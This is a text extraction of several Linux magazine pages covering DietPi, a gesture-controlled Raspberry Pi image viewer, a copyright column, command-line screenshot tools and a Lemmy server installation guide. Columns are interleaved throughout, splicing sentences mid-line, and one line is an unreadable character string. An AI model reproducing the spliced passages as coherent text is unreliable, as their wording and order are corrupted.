the Raspberry Pi’s IP address from your If you want to help the developers bytantly, it gives you access to the tool you
router or run the command sharing important information, you can can use to install or uninstall applica-
agree to DietPi submitting anonymized tions customized for DietPi [4]. Select
$ sudo nmap -sP [Link]/24 | U information about your usage behavior. the programs you want to install in
grep raspberry In the final step, change the general Browse Software. If you want to run the
password and the passwords for the userdistribution with a display, you can
on another computer on the network, and root accounts, if you have not al- choose between the LXDE, MATE, Xfce,
taking care to adapt the IP address to ready done so (Figure 2). Changes can LXQt, and GNUstep desktop
match your network. be made at any later time with the Di- environments.
With the IP address, root as the user- etPi-Config script (Figure 3) or the You will also find a large number of
name, and dietpi as the password, you passwd command. media systems and tools (e.g., Kodi,
can then use ssh to log in. Your next step Plex, Emby, and Jellyfin). Other catego-
is to open the [Link] configuration Curated Software ries include BitTorrent & Download
file and modify the hostname and pass- So far, so good. Now it’s time to turn Tools, Cloud & Backup systems, Gaming
words. After the initial login, DietPi your attention to the DietPi-Software & Emulation, Remote Desktop & Remote
searches for updated software packages script (Figure 4), which lets you access Access, Webservers and stacks (Web de-
velopment), Home
Automation, and
Advanced Network-
ing. Search Software
lets you find appli-
cations by entering
a title, a category,
or an ID in a search
box. I entered Next-
cloud and up
popped Nextcloud
and Nextcloud Talk
as matches; I then
proceeded to install
the first entry. You
can also select sev-
eral applications in
a single step; the
Install menu item
installs your
choices on the disk
(Figure 5).
Nextcloud gives
you a choice of
web servers. After
you confirm, the
installer first runs
apt to set up the
server, and then
takes care of Next-
cloud itself. The
script automatically
selects and sources
the dependencies
of the components
selected for instal-
lation. For example,
the Plex media
server is installed
Figure 5: DietPi offers a long list of pre-configured applications and services that can be with the Alsa
selected and installed at the same time. sound server as its

66 OCTOBER 2023 ISSUE 275 [Link]

 DietPi MAKERSPACE

underpinnings. I finally added LXQt as

an interface (Figure 6).

Conclusions
DietPi is a good choice for server appli-
cations, virtual machines, or as a desk-
top system for devices low on resources.
This lightweight Debian OS comes with
many applications that can be installed
with a few clicks.
An agile community provides monthly
updates for the well-maintained distribu-
tion. The detailed documentation not
only provides general information about
system maintenance, but also goes into
detail about the supported hardware [5].
I did not experience any issues during
the tests in our lab, which is at least one
reason you will want to shortlist DietPi
when it comes to using an SBC as a
server or desktop. Q Q Q

Info
[1] Supported hardware:
[Link]
[2] Download:
[Link]
[3] Flashing an SD card:
[Link]
2-flash-the-dietpi-image
[4] Software: [Link]
dietpi_tools/software_installation/
[5] Documentation:
[Link]

Author
Ferdinand Thommes lives and works as a
Figure 6: LXQt is just one of the desktop environments offered by Linux developer, freelance writer, and tour
DietPi for installation. guide in Berlin.

QQQ

[Link] ISSUE 275 OCTOBER 2023 67

MAKERSPACE Gesture-Controlled Book

MakerSpace
Use gestures to browse a document
on your Raspberry Pi

Hands Free
Have you found yourself following instructions on a device
for repairing equipment or been half-way through a recipe,
up to your elbows in grime or ingredients, then needed to
turn or scroll down a page? Wouldn’t you rather your
Raspberry Pi do the honors? By Bernhard Bablok

T
his article is about the joy of Installing the Software
tinkering, and the project I look The Pi Image Viewer program is imple-
at is suitable for all kinds of sit- mented in Python and is very minimal-
uations when your hands are ist. In fact, it is an image viewer that per-
full or just dirty. The hardware require- forms precisely one function: scrolling
ments turn out to be quite low: a Rasp- through an image in response to ges-
berry Pi, a screen, and a gesture sensor. tures. The software would even work
My choice of sensor was the APDS9960 with a small four-inch screen with a
(Figure 1), for which you can get break- Raspberry Pi clamped behind it, but it
outs and an I2C connector for a low price would not be particularly user friendly.
at the usual dealers ($3.20-$7.50). How- You can pick up the software for a ges-
ever, you should note whether the sensor ture-driven recipe book on GitHub [1] by
has soldered jumpers. The left jumper cloning the repository and installing the
(PS) controls the power supply of the in- software with the commands
frared lamp with the pin for positive sup-
ply voltage (VCC) and definitely needs to git clone [Link]

be closed. The right jumper (labelled 12C [Link]

PU on the sensor in Figure 1) enables the cd pi-image-viewer

pullups on the clock line (SCL) and the sudo tools/install

data line (SDA), which is superfluous on

the Raspberry Pi; however, it doesn’t hurt Additional information is provided in
to have it. the installation instructions in the
[Link] file.
Photo by Sebastian Dumitru on Unsplash

Modern kitchens sometimes feature

permanently installed screens. If you
don’t have one, go for a medium-sized Implementation
TFT screen like the 7-inch Pi screen or The implementation is built on Blinka
a model by Waveshare (Figure 2). If [2] for the sensor and PyGame [3] for
you are currently facing the problem the interface. PyGame is a game engine,
that the Raspberry Pi is difficult to get, but it is also suitable for other applica-
Figure 1: You can pick up the as many people have, you can go for a tions. Moving objects is understandably
APDS9960 gesture sensor from the laptop instead, which I talk about later as easy as pie (groan) for PyGame. In-
usual retailers for around $4.00. in this article. stead of moving sprites, the software

68 OCTOBER 2023 ISSUE 275 [Link]

 Gesture-Controlled Book MAKERSPACE

Listing 1: Keyboard Control

01 ...

02 self._MAP = {

03 K_RIGHT: self._right,

04 K_LEFT: self._left,

05 K_UP: self._up,

06 K_DOWN: self._down,

07 K_ESCAPE: self._close

08 }

09 ...

10

11 ...

12 for event in [Link]():

13 if [Link] == QUIT:

14 self._close()

15 elif [Link] == KEYDOWN:

16 if [Link] in self._MAP:

17 self._MAP[[Link]]()

18 ...

defined up front for each direction

(lines 2-8).

Figure 2: In the sample project, the gesture sensor sits above the Processing Gestures
Waveshare TFT screen. Gesture processing is handled in a sec-
ond thread that polls the sensor (Listing
shifts the image to show a different sec- (Figure 3, right). This arrangement 2, line 4) and, from the detected ges-
tion each time (Figure 3). might sound confusing at first, but mov- tures, simply synthesizes the matching
In PyGame, rectangles stand in for ing the image toward the upper left (neg- key events for the PyGame main pro-
both the screen window and the image. ative coordinates) makes the bottom gram (line 16), which closes the circle.
The window defines the global coordi- right part of the image visible. The program shown here with the ges-
nate system, and its upper left corner PyGame is controlled by events. The ture control does not completely solve
marks the zero point; the (0,0) coordi- program processes key events for the the problem. You still need to convert
nate in turn determines the location rela- four cursor keys (Listing 1, lines 12-17). your printed recipe into a (JPG) image,
tive to the screen. If the coordinates are Each key is backed up by a method that but you can easily scan or take a photo
(0,0), users will see the upper left part of is responsible for
the image (Figure 3, left). moving in one of Listing 2: Gesture Control
If, on the other hand, the coordinates the four direc- 01 evnt = {}
are negative, say (-50,-50), the top left tions. To keep the
02 while not self._stop.is_set():
corner is outside the window, and you code manageable,
03 [Link](0.1)
see the bottom right area of the image a key-value pair is
04 gesture = self._apds.gesture()

05 if not gesture:

06 continue

07 elif gesture == 0x01:

08 evnt['key'] = pygame.K_UP

09 elif gesture == 0x02:

10 evnt['key'] = pygame.K_DOWN

11 elif gesture == 0x03:

12 evnt['key'] = pygame.K_LEFT

13 elif gesture == 0x04:

14 evnt['key'] = pygame.K_RIGHT

15

16 event = [Link]([Link],evnt)
Figure 3: PyGame displays the image and screen as
17 [Link](event)
rectangles.

[Link] ISSUE 275 OCTOBER 2023 69

MAKERSPACE Gesture-Controlled Book

of a recipe book or grab a screenshot to distribution’s package manager. The few lines of APDS9960 code, mostly
do that. Fairly low resolutions are abso- -density option lets you control the copied from sample code online, is all
lutely fine for the purposes of this image resolution. If the PDF has multi- it takes for this application. Because
application. ple pages, the command arranges the the key events are simulated, you can
If the recipe is a PDF, the following pages one below the other. If you pre- do without a keyboard. The principle
one-liner will help: fer horizontal scrolling, replace -append can also be transferred to other hard-
with +append. Two more parameters ware. For example, you can find low-
convert -density 150 [Link] U handle fine tuning: -trim removes the cost displays without touch input. In-
-append [Link] white border, whereas -sharpen 0x1.0 stead of a full keyboard, a simple
sharpens the result. MPR121 keypad [6] connected by I2C
This command uses the convert com- You still need two things before you might also do the trick. Just as the
mand from the ImageMagick package, can start the image viewer with a double- code in the image viewer translates
which is typically already in place. If click: a [Link] file, gestures into strokes, it would translate
not, just grab it with your which registers the image viewer as a touch events for the key sensor.
program for pro- You can take this solution one step
cessing JPGs, and further with the python3-evdev library,
a file that stores which lets you generate arbitrary (sys-
the image viewer tem) key events, allowing you to control
as the default dis- any program with gestures or by touch –
play program. not just those that are designed for touch
Both points are de- control like the Pi Image Viewer.
scribed in the Re- Voice control is an alternative to ges-
adme file for the ture control and is now suitable for prac-
GitHub project. tical use on a Raspberry Pi with voice in-
terface modules such as the Seeed Re-
Laptop Speaker [7]. Q Q Q
Instead of Pi
The image viewer Info
and gesture con- [1] Pi Image Viewer: [Link]
trol also work bablokb/pi-image-viewer
without a Pi on a [2] “CircuitPython for Raspberry Pi and
normal laptop MCUs” by Bernhard Bablok, Linux
(Figure 4), be- Magazine, issue 234, May 2020,
cause Blinka and [Link]
PyGame run the Issues/2020/234/CircuitPython/
same way on pop- [3] PyGame: [Link]
ular desktop oper- [4] Adafruit guide to the MCP2221:
ating systems. [Link]
However, because circuitpython-libraries-on-any-
these systems computer-with-mcp2221
don’t usually have [5] Adafruit guide to the Pico as an I2C
a freely accessible USB bridge: [Link]
I2C port, you com/circuitpython-libraries-on-any-
might need to ret- computer-with-raspberry-pi-pico
rofit one on a [6] MPR121 keypad: [Link]
USB-to-I2C bridge. [Link]/products/retired/12017
The MCP2221 mi- [7] Seeed ReSpeaker: [Link]
crochip does this [Link]/ReSpeaker/
easily and inex-
pensively for Author
$3.00 and up [4] Bernhard Bablok works at Allianz Tech-
or with a Rasp- nology SE as an SAP HR developer.
berry Pi Pico [5]. When he’s not listening to music or out
and about, he’s busy with topics related
Conclusions to Linux, programming, and small-board
A few lines of Py- computers. You can contact him at
Figure 4: Laptop, MCP2221, and gesture sensor. Game code and a mail@[Link].

70 OCTOBER 2023 ISSUE 275 [Link]

 INTRODUCTION LINUX VOICE

Social networking was supposed to be about community,

but corporate giants like Facebook and the vendor formerly
known as Twitter started to throw their weight around,
so the open source community stepped in with their own
collection of social networking tools, known as the
Fediverse. We showed you some of the leading Fediverse
apps a few months ago in the April 2023 issue. But another
Doghouse – Copyright 74
controversy boiled up recently when Reddit cracked down Jon “maddog” Hall
on the use of its API, and lots of Linux users wondered if The ideas about and methods for protecting
they could find an alternative. As you software rights have evolved as computers
could probably guess, the answer is have moved from expensive and relatively
rare to far more affordable and ubiquitous.
a definite yes: There really are
open source alternatives to Command-Line Screenshot Tools 75
Ali Imran Nagori
Reddit. This month we feature
Linux is awash in desktop screenshot
a leading candidate called tools, but what if you want to take a quick
Lemmy. Also in this month’s screenshot from a terminal window?
Linux Voice: Preserve your Lemmy – Reddit Alternative 78
data with the Kopia Paul Brown
Image © Olexandr Moroz, [Link]

backup tool. With Reddit closing off access to its API, it is

time to look to the Fediverse for an alternative.
FOSSPicks 84
Graham Morrison
This month Graham looks at Gyroflow, gRainbow,
Polyrhythmix, mfp, Mission Center, and more!
Tutorial – Mastering Kopia 90
Dmitri Popov
Data deduplication, encryption, compression,
incremental backups, error correction, and
support for snapshots and popular cloud
storage services: Kopia delivers.

[Link] ISSUE 275 OCTOBER 2023 73

LINUX VOICE DOGHOUSE – COPYRIGHT

MADDOG’S
Jon “maddog” Hall is an author,
educator, computer scientist,
DOGHOUSE
and free software pioneer The ideas about and methods for protecting software rights have
who has been a passionate
advocate for Linux since 1994
evolved as computers have moved from expensive and relatively
when he first met Linus Torvalds
and facilitated the port of
rare to far more affordable and ubiquitous. BY JON “MADDOG” HALL
Linux to a 64-bit system. He
serves as president of Linux
International®. From Contract Law to Copyright
ast month I touched briefly on an issue with trademarks, because even in those days selling software was difficult and

L and this month I would like to continue the theme of in-

tellectual property by talking about copyright.
As I normally do, I will go back in time to when computer
complex, so they might donate it to user groups such as
DECUS, SHARE, and others. These user groups would publish
catalogs of the software and make it available for the cost of
software could not be copyrighted. In 1969, when I started copying and distribution, but once you had the software you
programming, you would protect your programs (if you could make as many copies as you wished because the soft-
wanted to) by using contract law or “trade secrets” (or both). ware was not protected by copyright.
Much of this was because computers were astronomically Then in the early 1980s the game changed. Makers of
expensive by today’s standards. Even the smallest of comput- computer game systems would design a game and build a
ers might cost more than $50,000 (and that was when $50,000 game system only to have their competitors buy one copy of
was a lot of money). Software, if you purchased it, was also ex- it, see how the board was built, and then duplicate the ROMs
pensive, and I remember purchasing a compiler from a com- that held the program. Game manufacturers wanted to pro-
pany and paying $100,000 for a single copy of that compiler tect their ROMs and the ones and zeros in the ROM with
that would be used on a single computer to compile one pro- copyright. Later this was expanded to protecting the source
gram at a time. My company spent that money because the code of these programs and then expanded to cover soft-
compiler would get a 10 percent performance improvement ware of any type.
from the programs we compiled for our $2.5 million mainframe While copyright law is often slightly different as you go from
(and remember that I am talking about 1975 USD). country to country, eventually the concept of software copyright
My company negotiated for a month to purchase this compiler, moved towards standardization, and by the mid-1980s contract
and when it arrived it was in source code form on a 12-inch mag- law for the protection of software was replaced by copyright
netic tape. It also had an engineer from the company arrive with it, and licensing and (as time went on) other concepts such as
and their job was to transfer the compiler code to our mainframe, sub-licensing, which sometimes is so complex that lawyers
build the compiler on the mainframe, run the qualification tests, slug it out in court.
and prove that the compiler worked. When we signed off on the in- Some people do not believe in copyright and prefer to put
stallation, my company’s lawyers kept the source code tape in es- their software into the “public domain,” but in this day and age
crow, in case the little software company went out of business. All you may as well think of “public domain” software as another
of this was written into the contract and signed by both parties. type of license, because it is very hard to produce software that
I know that some people will find this hard to believe in today’s is truly “public domain” unless licensed that way. In fact, the “re-
market, but the number of computers of any architecture and strictive” parts of the GPL would be impossible to enforce if the
operating system (if they even had an operating system) back GPLed code were in the public domain.
in those days was measured in hundreds or thousands, not in Of course it is difficult to talk about copyright without men-
millions (or even billions) like today. Contract law was reason- tioning software piracy. A lot of FOSS people waive their hands
able if you were going to sell expensive software in relatively about software piracy, but in its most fundamental form soft-
small quantities. ware piracy takes away the right of the programmer to say
Not everyone bought commercial software back in those what happens with their software, and devalues the art and
days. Many people wrote software because they needed it for work that goes into programming. If a programmer (or artist)
their own job. Physicists, mathematicians, electrical engineers, wants their software (or art) to be shared or given away, they
the military, the government, educators, researchers, and more can write a license to do that.
wrote software because they needed it. Next month, I will talk about licensing, how licenses differ,
After writing the software for themselves, these “amateur and whether “permissive” is better than “restrictive” in open
programmers” were not interested in selling the software, source licensing. Q Q Q

74 OCTOBER 2023 ISSUE 275 [Link]

 COMMAND-LINE SCREENSHOT TOOLS LINUX VOICE

Screenshot tools for the command line

Say Cheese
Linux is awash in desktop screenshot tools, but what if you
want to take a quick screenshot from a terminal window?
BY ALI IMRAN NAGORI

uppose you want to record the contents captures a particular window or region you select

S of a computer screen or window. Linux is

blessed with a number of useful tools that
capture the view on your screen at a given mo-
using your mouse pointer. The -s flag allows you
to select the area to capture.
Above all, --quality (-q) is one of the features
ment. You can use screenshots to preserve criti- that fascinated me. You can use it to set the
cal information, document the contents of web quality of the screenshot image on a scale of
forms, or illustrate application procedures. Most 1-100. For example, when I took a screenshot of
of the popular screenshot tools, however, are a window with the quality set to 1, I got an image
desktop applications. What if you don’t want to size of 10.9KB (Figure 2). Whereas, when I set
slow down and maneuver through a GUI just to the quality to 100, the file size becomes 1.0MB
capture the contents of your screen? Many users
don’t realize you can also create screenshots
from the command line. Command-line screen-
shots are a quick and useful option when you are
working in a terminal window, and conjuring up a
screenshot through a one-line command means
you can add screenshots to your Bash scripts. In
this article, I’ll show you three powerful screen-
shot utilities available in the Ubuntu 22.04 Linux
command-line interface (CLI): scrot,
gnome-screenshot, and import.

scrot
SCReen shOT (scrot) is a lightweight and simple
command-line tool for capturing screenshots in
Linux [1]. It offers a range of options and is highly
configurable. To install scrot on an Ubuntu 22.04 Figure 1: Installing scrot on Ubuntu.
system (Figure 1), enter:

$ sudo apt install scrot

To capture a screenshot using scrot, open a ter-

minal and enter:

$ scrot [Link]

By default, scrot captures the entire screen. How-

ever, you can also specify a specific window or re-
gion by providing additional arguments. For exam-
ple, the command

$ scrot -s [Link] Figure 2: A low-quality screenshot with scrot.

[Link] ISSUE 275 OCTOBER 2023 75

LINUX VOICE COMMAND-LINE SCREENSHOT TOOLS

Import
Part of the powerful
ImageMagick suite,
import offers exten-
sive capabilities for
capturing screen-
shots from the com-
mand line [3]. Im-
ageMagick is likely
already installed on
most Linux distros. If
not, you can install it
using the package
manager specific to
your distribution. For
Figure 3: A high-quality screenshot with scrot. example, on Ubuntu
22.04, you can use:
(Figure 3). This is particularly helpful when you
have image size constraints for an application. $ sudo apt install imagemagick

In addition, scrot offers various additional op-

tions such as setting a delay before capturing, in- To capture a screenshot of a specific window
cluding the mouse in the capture, and using a dif- using import, open a terminal and enter:
ferent image format.
$ import [Link]

gnome-screenshot
On a Linux distribution with the Gnome desktop Next, import asks you to select the target win-
environment, gnome-screenshot provides a feature- dow using the mouse. It also allows capturing
rich CLI for capturing screenshots [2]. To install the entire X server screen using the id or name of
gnome-screenshot, use the regular apt command the window:
(Figure 4):
$ import -window <window_id> [Link]

$ sudo apt install gnome-screenshot

The <window_id> attribute can be replaced with

Basically, you can grab a screenshot using the actual identifier of the window you want to
gnome-screenshot by simply running the command capture. Additional options provided by import
(Figure 5): include delaying the capture, including the cur-
sor, and output format customization.
$ gnome-screenshot -f [Link]

Conclusion
The -f flag in Figure 5 sets the filename for the Mastering command-line screenshot utilities in
capture. By default, gnome-screenshot captures the Linux, such as scrot, gnome-screenshot, and im-
entire screen. Just like with scrot, you can specify port, can significantly streamline workflow and
additional options to capture a specific region or enhance productivity. These tools offer the abil-
window. For example, to capture a specific win- ity to capture specific regions or windows.
dow, enter: Whether you are a technical writer documenting
Linux administration or a developer trouble-
$ gnome-screenshot -w -d 3 -f [Link] shooting code, having a command-line screen-
shot tool at your disposal is invaluable.
Here, the -w flag
sets the window to
capture. With the -d
flag, you can insert
a delay to the cap-
ture operation.
There are also op-
tions for including
the cursor in the
screenshot and
more. Figure 4: Installing gnome-screenshot on Ubuntu.

76 OCTOBER 2023 ISSUE 275 [Link]

 COMMAND-LINE SCREENSHOT TOOLS LINUX VOICE

Figure 5: Taking a screenshot with gnome-screenshot on Ubuntu.

You can play around with various options to refer to the man pages [1][2] for more details on
explore what possibilities each tool has to offer. these options. Happy capturing! Q Q Q
With practice, you can harness the power of
these utilities to capture perfect screenshots Info
directly from the Linux command line. You can
[1] scrot:
[Link]
The Author
trusty/man1/[Link]
Ali Imran Nagori is a technical writer and
[2] gnome-screenshot:
Linux enthusiast who loves to write about
[Link]
Linux system administration and related
jammy/en/man1/[Link]
technologies. He blogs at [Link]. You
[3] import:
can connect with him on LinkedIn.
[Link]

QQQ

[Link] ISSUE 275 OCTOBER 2023 77

LINUX VOICE A FEDERATED REDDIT ALTERNATIVE

The Fediverse’s answer to Reddit

Lemmy Tell You This

With Reddit closing off access to its API, it is time to look to the Fediverse for
an alternative. BY PAUL BROWN
earch for help on programming and grows and requires investors, and, hence, a viable

S chances are the first five results you get

back from your search engine of choice
will be from Stack Overflow. If you ask the Internet
business plan to keep it economically viable, more
and more anti-features are introduced. Typical
anti-features include ads, premium features, limi-
something more niche, such as how much do sea tations on access to data, etc. The user experi-
turtles grow in a year or what fertilizer should you ence gradually worsens until the platform reaches
use to make the leaves on your basil grow more a breaking point, and the community – the only
luscious and juicy, many of the responses will real, organic valuable asset a social platform has
come from Reddit (that is, unless you use Google, – leaves. It is happening at breakneck speed on
in which case your first 10 results will be ads). Twitter, it is happening bit by bit on YouTube, and
The point is that Reddit, originally designed to be a the process started years ago on Reddit.
user-powered news aggregator, has become an ex- The latest recent changes to API policies im-
cellent resource for specialized, obscure, often plemented by Reddit’s owners have accelerated
wacky knowledge and in-depth discussions. One this process and prompted hundreds of subred-
hundred-percent of the content is generated and cu- dits to close doors and make their communities
rated by the users, and the combined effects of split- private, impeding non-subscribed users (and
ting topics into subreddits, peer-moderation, and the search spiders) from browsing them. When Red-
upvote-downvote system itself often manages to dit’s admins threatened to remove mod privi-
keep content relevant, interesting, and helpful. leges, mods opened up the subreddits, yes, but
Alas, decadence arrives to all proprietary plat- labeled their communities as NSFW (which
Figure 1: Lemmy looks forms. In a process technically known as “enshit- meant no ads would be displayed within them,
very similar to Reddit on tification” (a term coined by Cory Doctorow [1]), as hurting Reddit’s bottom line) or flooded their
the surface. a centralized and corporate-owned platform communities with photos and clips of John Oli-
ver, making them to all practical effects useless.
More threats were issued.
The process of enshittification is a one-way
street. It may bring short-term (monetary) gains to
the site’s owners, but the degradation always be-
comes worse, and users leave. When Reddit de-
cided to close its source code back in 2018 [2],
users recognized the writing on the wall and im-
mediately started thinking about creating alterna-
tives. A year later, Lemmy [3], a Fediverse-pow-
ered alternative (Figure 1), emerged.

Features
Because this is the Fediverse, the first step to reg-
istering as a Lemmy user entails picking an in-
stance. As with Mastodon and PeerTube, Lemmy
instances can be general, regional, or thematic [4],
notwithstanding which, a properly federated in-
stance will allow you to access, browse, and inter-
act with most other instances, and therefore read,
subscribe to, and post to communities, either
local on your instance of choice or remote.

78 OCTOBER 2023 ISSUE 275 [Link]

 A FEDERATED REDDIT ALTERNATIVE LINUX VOICE

Figure 2: A breakdown of Lemmy’s front page.

A note about terminology before I go any Back on the main page shown in Figure 2, you
deeper: As with Mastodon, PeerTube, Pixelfed, can choose whether to see Posts or Comments
etc., an instance in Lemmy is a Lemmy server (4), whether you want to see only posts (or com-
someone has set up to host communities. Some ments) on your Subscribed, Local, or All communi-
instances are open and you can just roll up and ties on all federated instances (5). You also have
register; some are closed and require an invitation the option of changing how they are ranked (6).
or the approval from the owners. If you have a Ranking is more complete on Lemmy than on
bunch of friends and a rent a spare server online, Reddit, allowing you to order posts according to
you set up your own instance for your friends, most Active, in which the rank of a post is based
family, school, or work colleagues and hook it up on the score and time of the latest comment, with
to the rest of the Lemmy network, a process decay over time; Hot, similar to active, but uses
called federating. I will talk more about how to set the time when the post was published; New, which
up your own instance later. shows most recent posts first; Old (self-explana-
Meanwhile, communities are equivalent to the tory); Most Comments, which shows posts with
subreddits on the Reddit site (i.e., theme-based the highest number of comments first; New Com-
groups for aggregating news, posts, and com- ments, which ranks first posts when they receive a
ments on a specific topic, such as Doctor Who, new reply; and then you can choose to see the
London, or World News). highest ranking post of the day, week, month, year,
On the surface, Lemmy’s default layout (Fig- or all time.
YVIɄ PSSOWZIV]QYGLPMOI6IHHMX%PMWXSJTSWXW When you click on a post’s title (7), you will be
(4) with their upvote/downvote buttons (7) take up taken to the post on Lemmy, (in Reddit, you will be Figure 3: The form for send-
most of the space, but a closer look will reveal taken directly to the linked article). To go to the ing news items is straight-
some differences. Across the top, you can always linked article itself (if the post indeed links to a forward.
go back to the home page by clicking on the
Lemmy logo and name (1). If you are not logged
in, the home page will be the highest scoring
posts in the local instance. If you are logged in, it
will be the highest scoring posts in your sub-
scribed communities.
Continuing across the top from left to right in
Figure 2, the Communities link (2) takes you to a
page with a list of communities. You can choose
to see the communities you subscribed to, local
communities on the instance you signed up with,
or all the communities across all the instances
that federate with your instance.
Next up, Create Post (3) does what it says on the
box and takes you to a form (Figure 3) ,which will
allow you to create a post on this instance and
pick a community to receive the post.

[Link] ISSUE 275 OCTOBER 2023 79

LINUX VOICE A FEDERATED REDDIT ALTERNATIVE

Figure 4: To send a toot from Mastodon to Lemmy, include the address of the community you want to send it to in the body of the toot.

site outside of Lemmy), click on the link just below of the Lemmy community and name of the in-
the headline. In the lines below that, you can stance it is hosted on as follows:
check out the poster’s history and the community
the post was sent to. On the bottom line, you can @communityname@[Link]

visit the comments section, the star icon saves/

bookmarks the post for later reading, the copy/ to any Mastodon toot, and it will appear as a new
paste icon lets you crosspost the news item topic in the community and on that instance, and
somewhere else, and under the three vertical dots can be voted up or down and shared and com-
you have the option of reporting the post and mented on like any other post.
blocking the user. For example, adding @kde@[Link] to a
As mentioned earlier, you can post directly from post will make the toot appear as a post on KDE’s
the front page, but you can also do that from Lemmy instance (Figure 4).
within a community. In this case, by default, the Following a Lemmy community from Mastodon
box where you choose the community to post to is simple, but the results can be messy. It is simple
shows the current community. because you can search for a Lemmy community
Another step up from Reddit is that, while on from within Mastodon by searching for @community-
Reddit you can publish either a text post, or a link, name@[Link] as above, and then follow
or an image, Lemmy lets you do all at the same the community like any other Mastodon account. It
time. You have a field for a URL and another for is messy because every post on the community
text, in which you can embed images and videos you follow will show up as a toot in your notifica-
in the same post using Markdown text formatting. tions, and every comment as an unfiltered, public
Comments are equally versatile and allow Mark- reply to the post. If the Lemmy community you fol-
down formatting and embedded media just the low is popular, that is a lot of noise! Also, at the
same as posts [5]. time of writing, Lemmy’s text formatting (which
uses Markdown) and attached images do not
Federation translate well to Mastodon, making things like
However, Lemmy’s most interesting features come commented text confusing and posts boring, be-
from its Fediverse pedigree. As with Mastodon and cause images or videos are usually not included.
PeerTube, a service such as Lemmy, spread out over But the feature is there. We should expect it to
multiple servers, is more than its parts, allowing for a improve over the next iterations of the platform.
community to rival the power of a megacorporation. PeerTube integration has also made it into
At the same time, this makes the service less likely Lemmy, as announced in version v0.16.4 [6], but it
to be bought out or co-opted by a single player. works so-so. I was able to see a PeerTube channel
Lemmy allows you to access communities on from Lemmy (Figure 5), but I was unable to see any
your local instance or federated instances trans- of the videos or subscribe to it, either from Lemmy
parently, read news from throughout the network, or on PeerTube using my Lemmy account.
and subscribe to remote communities from your Again, this is something that will improve over
own instance and send your votes, posts, and future versions.
comments to them. Integration with other Fedi-
verse services also makes it an exciting proposi- Roll Your Own
tion. Crossposting and following from and to Setting up a Lemmy instance from scratch, or
Mastodon is already working well. Add the name even with Docker, is not for the faint of heart.

80 OCTOBER 2023 ISSUE 275 [Link]

 A FEDERATED REDDIT ALTERNATIVE LINUX VOICE

There are multiple convoluted steps and the doc- file in /etc/sudoers.d. The name of the file doesn’t
umentation [7] often misses steps or is just down- matter much, but it is a good idea if it is the same
right wrong. as the username you are using on your server.
Thankfully, the developers have also created an Add the following line to the file:
Ansible installer [8] and have made it the only offi-
cially supported method for installing Lemmy, and yourusername ALL=(ALL) NOPASSWD: ALL

with good reason: It works really well and cuts out

a huge chunk of the drudgery. and save it. Exit superuser mode and check that
Note that the installer is only designed for your regular user can now run superuser com-
Debian-based systems at the time of writing, so mands without the need of typing in a password:
you will have to be running Debian, Ubuntu, or
something similar on your server for this to work. sudo su

Apart from that, to prepare your server, you will

need to be able to access it using SSH keys, and You can now exit your server.
the user you access your server with will need One last step before getting into the installation
passwordless access to sudo. proper is to add your key to ssh-agent in your cur-
To set up authentication with your server using rent session on your local machine. The reason is
SSH keys, set up a pair of private/public keys using that the time out for typing in the password for
ssh-keygen on your local machine. Then you can you key during the Ansible install is ridiculously
use ssh-copy-id to copy over the keys to you server: short, so it helps if ssh-agent can deliver it for you.
Start ssh-agent with
ssh-copy-id yourusername@yourserver

eval "$(ssh-agent -s)"

where yourusername is your username, and yours-

erver is the address of your server. and add your key:
Access your server using the keys to check that
it works, then remove password access by editing ssh-add ~/.ssh/id-rsa

the /etc/ssh/sshd_config file on your server and

changing the line that says ssh-agent will ask for the password for the key
and will add it to its keyring.
PasswordAuthentication yes

Set Up
to As mentioned above, installing using the Ansible
playbook provided by the Lemmy creators simpli-
PasswordAuthentication no fies things quite a bit.
The Ansible installer provides all the dependen-
and restarting the ssh service: cies Lemmy needs in Docker containers, so there
is nothing else you need to do on your server. But,
systemctl restart ssh if you don't already have Ansible, you will need to
install it on your local machine using your distri-
You will need superuser privileges to do both things. bution’s package manager.
While you are still in superuser mode, set up Then you can clone Lemmy’s latest Ansible
your passwordless access to sudo by creating a repo with:

Figure 5: Lemmy can find PeerTube channels, but total integration with the Fediverse’s video platform is still not all there.

[Link] ISSUE 275 OCTOBER 2023 81

LINUX VOICE A FEDERATED REDDIT ALTERNATIVE

• Change myuser in myuser@[Link] to the

Listing 1: Hosts name of the user you use to log into your server
[lemmy]
and [Link] to the address of your server
.
(i.e., yourlemmyserveraddress).
.
• Change [Link] in domain=[Link] to
.
the address your Lemmy instance will have once
myuser@[Link] domain=[Link] letsencrypt_contact_email=
it is deployed.
your@[Link] lemmy_base_dir=/srv/lemmy
• Change your@[Link] to the email that will re-
[all:vars]
ceive notifications from your Lemmy instance.
ansible_connection=ssh
• Save the file and exit your text editor.
• Finally, copy the sample [Link] file over
to your inventory:
git clone [Link]

[Link] cp examples/[Link] inventory/U

host_vars/<yourlemmyserveraddress>>/

and change into the newly created directory:

Again, this file will work fine without any modifica-
cd lemmy-ansible tions in most installations.
All that’s left is to run the playbook:
The next step is to create a directory for your con-
fig files: ansible-playbook -i inventory/hosts lemmy.U

yml -T 60

mkdir -p inventory/host_vars/<yourlemmyU

serveraddress> Ansible will copy over all the files, set up Docker
containers for all the services and run NGINX.
It is very important that yourlemmyserveraddress Your Lemmy instance should be ready in a few
is exactly the address of your Lemmy server. If minutes (Figure 6).
your domain is [Link] and you are putting
Lemmy on a subdomain called lemmy, you must Administration
put [Link] here (and not, for exam- The first order of business is to add an admin user
ple, [Link]). for your instance. Visit the site and you will see the
Next, copy over the sample configuration file: screen shown in Figure 6.
Once you fill in the admin’s username, email,
cp examples/[Link] inventory/host_U and password, you will be taken to the setup page.
vars/<yourlemmyserveraddress>/ Here you can give the site a human-readable
name, write in a description, configure the sidebar,
The file should be perfectly fine as-is for most in- decide whether registration will be open for the
stalls, but if you do decide to edit it, do not to edit site, or if it will be invite only, and so on. Press Cre-
anything inside the {{ }} braces. ate and you are transferred to your new site. If you
Next you need to copy over the provided sam- want to change stuff later, you can always get
ple hosts file to your inventory/ directory: back to the settings by pressing the gear icon in
the upper right-hand corner of the main page.
cp examples/hosts inventory/ After the setup, you can start creating commu-
nities, inviting your friends, and in general, begin.
Figure 6: Visiting your You will need to edit the hosts file. The line
Lemmy instance for the first under the comments contains sample informa- Federating
time, you will be invited to tion, as shown in Listing 1. Edit the file as Federating in Lemmy starts off slow. Check that the
set up an admin account. follows: Federation enabled checkbox is ticked in the settings
and that federation is indeed working by running

curl -H 'Accept: application/activity+U

json' [Link]

<yourusername>

on your terminal. If you get back JSON data back

instead of HTML, you’re good.
To jump-start the federation process, visit an
existing Lemmy instance, click on a community
